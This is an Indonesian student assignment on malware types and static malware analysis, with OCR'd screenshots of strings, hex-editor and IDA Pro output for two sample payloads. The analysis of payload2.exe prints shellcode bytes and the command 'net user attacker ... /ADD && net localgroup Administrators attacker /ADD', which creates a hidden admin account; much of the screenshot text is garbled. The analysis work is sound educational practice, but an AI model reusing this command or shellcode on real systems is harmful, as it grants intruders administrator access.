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Malware adalah sebuah program yang diciptakan dengan maksud dan tujuan
tertentu untuk mencari celah kesalahan di dalam software atau operating system. Nama
Malware sendiri merupakan sebuah singkatan dari “Malicious Software” yang berarti
perangkat lunak mencurigakan. Sebuah malware dapat mengakibatkan dampak buruk
bagi sebuah komputer maupun user (pengguna komputer). Program ini dapat
mengubah, merusak, mencari celah, dan mencuri data pribadi seseorang yang tentu

sangat merugikan.
Ada beberapa contoh dari malware yaitu :

1. Virus
Inilah istilah yang sering dipakai untuk seluruh jenis perangkat lunak yang
mengganggu computer. Bisa jadi karena inilah tipe malware pertama yang
muncul.Virus bisa bersarang di banyak tipe file. Tapi boleh dibilang, target utama
virus adalah file yang bisa dijalankan seperti EXE, COM dan VBS, yang menjadi
bagian dari suatu perangkat lunak. Boot sector juga sering dijadikan sasaran virus
untuk bersarang.

2. Worm
Worm alias cacing, begitu sebutannya.Cacing adalah sebuah program yang berdiri
sendiri dan tidak membutuhkan sarang untuk menyebarkan diri. Hebatnya lagi,
cacing bisa saja tidak memerlukan bantuan orang untuk penyebarannya.

3. Wabbit
Istilah ini mungkin asing, tapi memang ada malware tipe ini. Seperti worm, wabbit
tidak membutuhkan suatu program dan dokumen untuk bersarang.Tetapi berbeda
dengan worm yang menyebarkan diri ke komputer lain menggunakan jaringan,
wabbit menggandakan diri secara terus-menerus didalam sebuah komputer lokal
dan hasil penggandaan itu akan menggerogoti sistem.

4. Trojan Horse
Kuda Troya adalah malware yang seolah-olah merupakan program yang berguna,

menghibur dan menyelamatkan, padahal di balik itu, ia merusak. Kuda ini bisa
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ditunggangi oleh malware lain seperti seperti virus, worm, spyware. Kuda Troya

dapat digunakan untuk menyebarkan atau mengaktifkan mereka.

Analisa malware adalah suatu aktivitas yang kerap dilakukan oleh sejumlah
praktisi keamanan teknologi informasi untuk mendeteksi ada atau tidaknya komponen
subprogram atau data yang bertujuan jahat dalam sebuah file elektronik. Analisa atau

kajian ini sangat penting untuk dilakukan karena:

1. Malware sering diselundupkan melalui file-file umum dan popular seperti aplikasi
(.exe), pengolah kata (.doc), pengolah angka (.xlIs), gambar (.jpg), dan lain
sebagainya — sehingga jika pengguna awam mengakses dan membukanya, akan
langsung mejadi korban program jahat seketika;

2. Malware sering diselipkan di dalam kumpulan file yang dibutuhkan untuk
menginstalasi sebuah program atau aplikasi tertentu — sehingga jika sang pengguna
melakukan instalasi terhadap aplikasi dimaksud, seketika itu juga malware
diaktifkan;

3. Malware sering disamarkan dengan menggunakan nama file yang umum dipakai
dalam berbagai keperluan, seperti driver (.drv), data (.dat), library (.lib), temporary
(.tmp), dan lain-lain — sehingga pengguna tidak sadar akan kehadirannya di dalam

komputer yang bersangkutan;

Ada beberapa tipe ANALISIS MALWARE :

. Statis Analisis Malware

Statis atau Analisis Kode biasanya dilakukan dengan membedah sumber daya yang
berbeda dari file biner tanpa mengeksekusi dan mempelajari setiap komponen. File
biner juga dapat dibongkar (atau sebaliknya direkayasa) menggunakan disassembler
seperti IDA. Kode mesin kadang-kadang dapat diterjemahkan ke dalam kode assembly
yang dapat dibaca dan dipahami oleh manusia: analis malware kemudian dapat
memahami petunjuk perakitan dan memiliki citra program apa yang seharusnya untuk

melakukan.



ULAN PURNAMA SARI

09011181320003 — TASK 7

Keamanan Jaringan Komputer

2. Analisis Malware Dinami
Analisis dinamis atau Behavioral dilakukan dengan mengamati perilaku malware saat
itu benar-benar berjalan pada sistem host. Bentuk analisis sering dilakukan dalam
lingkungan sandbox untuk mencegah malware dari benar-benar menginfeksi sistem

produksi.
TUGAS :

Lakukan analisis terhadap 2 file payload : payload.exe dan payload2.exe. Analisis
proses kerja dan skema dari payload tersebut, menggunakan beberapa bantuan tools
seperti : ghex, hexdump, strings (linux), ollydbg (win) atau ida pro (linux,win).

root@ul-purnama /media/ul/UL/KULIAH ULAN/semester 8/K]K/payload/TUGAS/... —

File Edit View Search Terminal Help
ul@ul-purnama KULIA
sudo su
[sudo] password for ul:
2y ls

payload2.exe payload.exe

¢ strings payload.exe
IThis program cannot be run in DOS mode.
Rich
.text

".rdata
@.data
.rsrc

AH@C
8SShL@A
8AG+
f@?Rh
hay@c
@?dRP
UHGq
k+QR
tYNU
gfff
[79]
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root@ul-purnama /media/ul/UL/KULIAH ULAN/semester 8/KJK/payload/TUGAS/payloads - + X
File Edit View Search Terminal Help

icensed to The Apache Software Foundation, http:
ght 1996 Adam ] logy Ltd, http
This is ApacheBench, Ve
$Revision: 655654
Licensed to The Ap
e ight 1996 Ac

filename i ith p 1tages served
g filename Output nuplot format file.
5 Do not s nfidence estimators and warnings.
Do not percentiles served table.
Use HTTP KeepAlive feature
Print version number and exit
: server and port number to use
attribute asic P Authentication, the attributes
are a colon s : rd.
A attribute Add Basic WwwW Authentication, the attributes
Inserted after all nor header lines. (repeatable)
attribute Add Arbitrary header line, eg. pt-Encoding: gzip'
ttribute Add cookie, eg. ( table)
attributes to insert as td or th attributes
ttributes String to insert as tr attributes
ttributes String to insert as table attributes
Use HEAD instead of GET
W Print out results in HTML tables
verbosity w much troubleshooting info to print
Default is 'text/plain’
'application/x Y rm-urlencoded’
content-type C eader for POSTing, eg.
putfile il ning data to PUT. Remember als
postfile il ntaining data to POST. Remember also to set -T

root@ul-purnama /media/ul/UL/KULIAH ULAN/semester 8/K]K/payload/TUGAS/payloads — + X
File Edit View 5Search Terminal Help
given path is relative
i ath is olute
ed network m is invalid.
cified IP address is invalid.
d failed
ed memory is currently available
structure was provided and one was required.
provided and one was required.

as provided and one was required.
provided and one was required.
provided and one was required.
provided and one was required.
provided and one was required.
et returned

ode

lO\asf\release\build-2.2.14\support\Release\ab.pdb

Gambar 1.1 Hasil Ekstraksi String payload.exe
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strings payload2.exe
SU

D$s[[ayZo

cmd.exe fc net user att:

<er Gantengl /ADD && net localgroup Administrators att:

Gambar 1.2 Hasil Ekstraksi Strings payload2.exe

payload.exe - GHex - + X
File Edit View Windows Help
9999999@5 5A 90 00 03 00 00 00 04 ©0 00 00 FF FF 00 @0 B8 00 00 00 00 @0 0O OO 40 0O 00 60 00 00 00 00 00 00 00 00 00 00 ¢ m ...................... Biiiiaiiinannan | ‘
(00000027060 60 60 00 O O 6O 00 60 60 6O 00 0O 0O 00 00 00 O 60 OO 0O EB GO 60 B0 OE 1F BA OE 00 B4 09 (D 21 B8 01 4C CD 2 |.......oioniinniiiiiiiiiaaaannn L.
54 68 69 73 28 7@ 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 28 44 4F 53 20 6D 6F 64 65 2E |This program cannot be run in DOS mode.
l06000675/0D 6D 6A 24 60 00 00 00 00 00 00 93 38 FO D6 D7 59 9E 85 D7 59 9E 85 D7 59 9E 85 AC 45 92 85 D3 59 9E 85 54 45 90 85 [...$. ooo P R S N
E 59 9E 85 B8 46 94 85 DC 59 9E 85 B8 46 9A 85 D4 59 9E 85 D7 59 9F 85 1E 59 9E 85 54 51 C3 85 DF 59 9E 85 83 7A AH
J@0eeeCc3|ss FF 59 9E 85 10 5F 98 85 D6 59 9E 85 52 69 63 68 D7 59 9E 85 00 00 00 00 00 60 60 60 60 GO0 60 00 00 60 00 00 50 45
800060 6 60 4C @1 04 @@ 47 71 D6 49 00 60 60 0O 60 00 00 6@ EO 00 @F 01 6B @1 66 00 €0 BO 00 00 00 AG 00 60 60 00 00 00 80|
[@0ee0111j5A @6 ee 60 10 00 06 60 CO 60 60 00 60 40 00 60 10 00 60 00 10 @0 00 04 G0 00 @0 60 00 @O 00 ©4 00 00 00 00 00 00 6
00001 0 60 01 00 00 10 00 00 0 00 00 00 02 00 00 00 00 00 10 0O 00 10 OO 0O OO 0O 10 0O 0O 10 00 00 00 00 00 00 10 00 OO
I000O15F00 00 00 00 00 00 00 00 00 6C C7 00 0O 78 00 0O 00 00 50 @1 00 C8 @7 00 OO @0 00 00 60 00 00 00 00 00 00 00 00 00 09
I0000186/00 60 66 60 O 00 00 60 60 00 EO C1 00 00 1C 6O 60 0O 00 0O OO GO 60 6O 6O 0O 0O 60 60 OO0 6O GO 6O 60 60 60 00 00 0
[@00OO1ADIOO 06 60 60 @0 00 06 60 60 60 60 00 60 00 00 60 00 00 60 00 CO @0 @0 EO @1 00 @O 6O 00 @O 00 00 00 00 00 00 00 00 6
0660010400 60 66 00 60 00 00 60 60 60 60 00 2E 74 65 78 74 00 00 00 66 A9 00 00 60 10 00 60 OO BO 00 00 00 10 00 00 00 00 OO
0 00 00 00 00 00 G0 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 E6 OF 00 00 00 CO 00 00 00 10 00 00 00 CO 00 00 00 OO
)0 00 60 00 60 0O 60 00 60 60 40 00 00 40 2E 64 61 74 61 00 00 00 5C 70 60 66 60 DO 00 00 60 40 60 00 60 DO 00 00 O - \p- .
0000249100 00 66 00 00 00 00 60 00 60 00 40 00 80 CO 2E 72 73 72 63 00 00 €@ CB8 07 €0 00 06 50 61 @0 00 16 60 60 60 10 01 6Q
[@6000276/00 06 60 00 60 60 00 60 60 60 00 00 40 00 00 40 00 00 60 00 0O @0 OO 0O G0 OO 0O 6O OO 6O 00 OO 00 60 60 00 00 00 OO
[00000297/060 00 00 00 G0 00 00 00 00 0 00 00 00 00 0O 00 OO 00 00 OO 0O 00 OO OO 00 OO 0O 00 0O OO 00 00 00 00 00 00 00 00 OO
0 00 00 00 00 00 G0 00 00 00 00 00 00 0O 00 00 00 00 OO 00 00 OO OO @O OO 0O 0O 0O 00 0O 00 G0 00 00 00 00 00 00 0O
I00002E5/60 60 60 00 GO 00 00 60 60 0 00 00 00 00 00 6O 6O 0O 00 0O 00 GO 60 6O 6O GO 0O 60 60 OO0 OO OO 0O 00 60 60 00 00 0
0 60 00 @0 00 00 @0 00 60 60 00 60 60 0O 60 00 00 60 60 0O @0 0O 0O G0 OO 0@ 6O OO @@ 0O OO @O 60 60 60 00 00 00 OF
0 60 00 00 00 00 00 00 0 00 00 00 00 0O 00 0O 0O 00 OO 0O 00 OO OO 0O OO 0O 0O 0O 00 0O OO 00 00 00 00 00 00 00 OO
00 00 00 00 00 OO 00 00 ©0 00 00 00 00 0O 00 00 00 @0 OO 00 @0 OO OO @0 PO OO 60 0O OO 00 0O 00 00 00 00 00 00 ¢
1jee 00 60 60 00 60 O 60 00 60 00 60 00 0O 00 00 00 00 6O OO 0O 0O GO G0 6O OO 6O 6O 0O 00 00 A0 6O 0O 0O 00 00 00 O
06 06 0O 0O 6A 66 A6 A6 6O 60 00 A A0 A AA A6 66 00 00 60 60 A6 A6 OA OA 6O 6O 6 AR A6 AA 6O 60 66 A0 A6 A6 A
Signed 8 bit: | 77 | Signed 32 bit: | 9460301 | Hexadecimal: | 4D |
Unsigned 8 bit: | 77 | Unsigned 32 bit: | 9460301 | Octal: [ 115 |
Signed 16 bit: | 23117 | Signed 64 bit: | 9460301 | Binary: | 01001101 |
Unsigned 16 bit: | 23117 | Unsigned 64 bit: | 9460301 | Stream Length: | 8 ‘ - ‘ + |
Float 32 bit: | 1,325671e-38 | Float 64 bit: | 6,370661e-314 |
B0 Show little endian decoding [] Show unsigned and float as hexadecimal
Offset: 0x0
L) Menu B B o pavioads B rooi@ut-purnama imedi.. [ UlanPurnamasSari 0901.. [ Kjk-58.docx - Libreofic.. (i 2 E s o0 B O ) s @

Fle Edit View Windows Help

[peaee11l

Gambar 2.1 Editor Hexa dari File Payload.exe

payload2.exe - GHex

[peeceereffC E8 82 60 60 66 60 89 E5 31 CO 64 8B 50 30 8B 52 6C 8B 52 14 88 72 28 OF B7 4A 26 31 FF AC 3C 61 7C 82 2C 20 CL CFH
[pOEEEO27[0D 01 C7 E2 F2 52 57 8B 52 10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20 01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31|
BOBOO4E[FF AC C1 CF ©D 01 C7 38 E®@ 75 F6 ©3 7D F8 3B 7D 24 75 E4 58 8B 58 24 61 D3 66 8B OC 4B 8B 58 1C 01 D3 8B 04 8B @1 DI
[00000075/89 44 24 24 5B 5B 61 59 5A 51 FF E@ S5F 5F 5A 8B 12 EB 8D 5D 6A 91 8D 85 B2 00 00 00 50 68 31 8B 6F 87 FF D5 BB FO BS
68 A6 95 BD 9D FF D5 3C 06 7C BA 80 FB E@ 75 05 BB 47 13 72 6F 6A 00 53 FF D5 63 6D 64 2E 65 78 65 20 2F 63 20 |. b
74 20 75 73 65 72 20 61 74 74 61 63 6B 65 72 20 47 61 6E 74 65 GE 67 31 20 2F 41 44 44 20 26 26 20 GE 65 74 2@ [net user attacker Gantengl /ADD && net
00000 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D 69 6E 69 73 74 72 61 74 6F 72 73 20 61 74 74 61 63 6B 65 72 20 2F 41 44 44

localgroup Administrators attacker /ADD

p—

Sgned 2 i [3579524

Femecnni o ]

a2 oai 372 ]
Sgred 16t | 5992 Sgred 64t 3579521
Unsigned 16 bis 59644 Unsiged 4 bis 8579324 Srcamtengtie 3 +]

Offset: 0x0

(3 Srow e endian decoding

Foat e i

878662263

J
J
] Binary: 11111100 ]
J
J

() Show unsigned and float as hexadecimal

menu [ EF B s payioads

Imedi...

10301...

O«

[T 2yioact.exc - Griex

R

Gambar 2.2 Editor Hexa dari File Payload2.exe
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File FEdit Jump Search Debugger _ Options ows Help
BhH v HEE S I o DO dadE X > Mo debugger e AP ERL O hcd W
R B U AT R AR N A | .

Library function || Data [ll Regular function Il Unexplored [l Instruction | External symbol

[] Functions windon o& x waviews B | @ Hexview1 @ | A stucwes [ | E O EBwms [ mparts [ | B  Ewers [
| Function name _data:0G4OE7CE db 68h ; h
Iﬁ b 404310 .data:BB4OE7CE aTdColspan28STd db *><td colspan=2 %s>%s<{/td></tr>',0ah,0
b _data:BBUBEFCC ; DATA XREF: .text:0046323aTo
.data:A64AE7EC aTabhleS db 8Ah
data:BB4BEFEC db 8Ah
.data:@04BE7EC db *<table %s>',0Ah,0
.data:B84BE7FA align 4
-data:@u4eE7FC asocketReceiveB db “socket receive buffer”,@
.data:B64BER12 align 4
_data:0B4PES14 aSocketSendBuff db ‘socket send buffer®,8
.data:@6848ER27 align 4
_data:0B4PE828 aSocketMonblock db *socket nonblock’,8
.data:0640E838 aSocket db ‘socket',8
.data:B84BEB3F align 16h
_data:0B4PESHO aCompletedDRequ db 'Completed %d requests',6Ah,8
.data:B64BERS7 align 4

_data:0H40E85S aContentLength db *Content-length:®,8
.data:0640E868 aContentLengt_@ db ‘Content-Length:*,8

.data:06L0ES78 aKeepAlive db ‘keep-alive’,8
.data:@e4eESE3 align &
.data:0640E884 aKeepAlive 8 db "Keep-Alive',8
_data: BB4BESSF align 18h |
.data: al db "LOG: P code = %s',0Ah,0
_data:BB4BESAY align 4
-data:@040E8AC aWarningRespons db *WARNING: Response code not 2xx (%s)',0Ah,0
.data:@848E8D1 align &4
-data:@B4BESDA a508 db *500',8
~data:004BESDE aHttp db "HTTP®,0
_data: BB4BESDD align 18h
.data:0040EBED aServer db ‘Server:*,8
.data:0B4BESES db @Dh,8Ah
.data:0040ESES db @Dh,B8Ah,0
.data:0648ESED align 16h
8§ > : .data: zed with Hex View-1)

<+ —

Gambar 3.1 Tampilan IDA Pro File Payload.exe

IDA - E:\Document\Semester 8IKJK\TUGAS_kjk\payloads\payload2.exe

File Fdit Jump Search View Debugger Options Windows Help
HE e B B ) o B el @t e X p O O Nodebuger e AT R OE RS

] .
Library function Data [l Reqular function Unexplored [l Instruction External symbol
Functions window 08 x mAview-A [ | @ Hexview1 [ | [Al structures

Imports [ Exports

= Enums

Function name seqB8 assume es:nothing, ss:nothing, ds:seg@@@, fs:nothing, gs:nothing
seqBo
sub_10186 segﬂﬂ public start

iseqBB start:
iseq ool cld
seq Bl call sub_18186
seq0B H
lseq@B db 2 dup(@), 66h, 89h, BESh, 31h, BCOh, 64h, 8Bh, 506h
lseq 80! db 38h, 8Bh, 52h, BCh, 8Bh, 52h, 14h
seqon H
5eq0B ; START OF FUNCTION CHUNK FOR sub_16186
seq 8ol
5eq0B loc_10115: ; CODE XREF: sub_16186}j

— 5eq00 mov 5i, [bp+si+28h]
seq 8ol mouzx cx, word ptr [bpssi+26h]
iseq ool
iseq ool loc_1811C: ; CODE XREF: sub_16186-4F}j
seqBe xor di, di
iseq ool
iseq 0ol loc_1911E: ; CODE XREF: sub_18186-5C)j
seq 8ol lodsh
iseq ool cmp al, 61h
seq@e j1 short loc_ 18125
seq 8ol sub al, 2en
iseq ool
seq Bl loc_18125: ; CODE XREF: sub_18186-65Tj
seqBe ror di, BDh
5eq00 add di, ax
seq 8ol loop loc_1811E
seq 8ol push dx
5eq00 push di
seqBe mov dx, [bp+si+16h]
seqBe mov cx, [bp+si+ich]

T F » 5eq000:9134 mov cx, [5i+11h]

00000015 00010115: sub_10186:loc_10115 (Synchronized with Hex View-1

Gambar 3.2 Tampilan IDA Pro File Payload2.exe
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Analisa :

Pada saat Strings payload.exe di Gambar 1.1 terdapat hasil berupa aplikasi, yaitu aplikasi
ApacheBench. Apa itu ApacheBench ? ApacheBench adalah alat untuk pembandingan
server kita Apache Hypertext Transfer Protocol (HTTP). Hal ini dirancang untuk memberikan
kesan bagaimana saat melakukan instalasi Apache. GHex merupakan Aplikasi Hex Editor
untuk Linux. Hex Editor adalah jenis program yang digunakan untuk memanipulasi data dari
suatu file binary di komputer dan merupakan software penting dalam mempelajari alur kerja
suatu program bila tidak memiliki source code-nya.



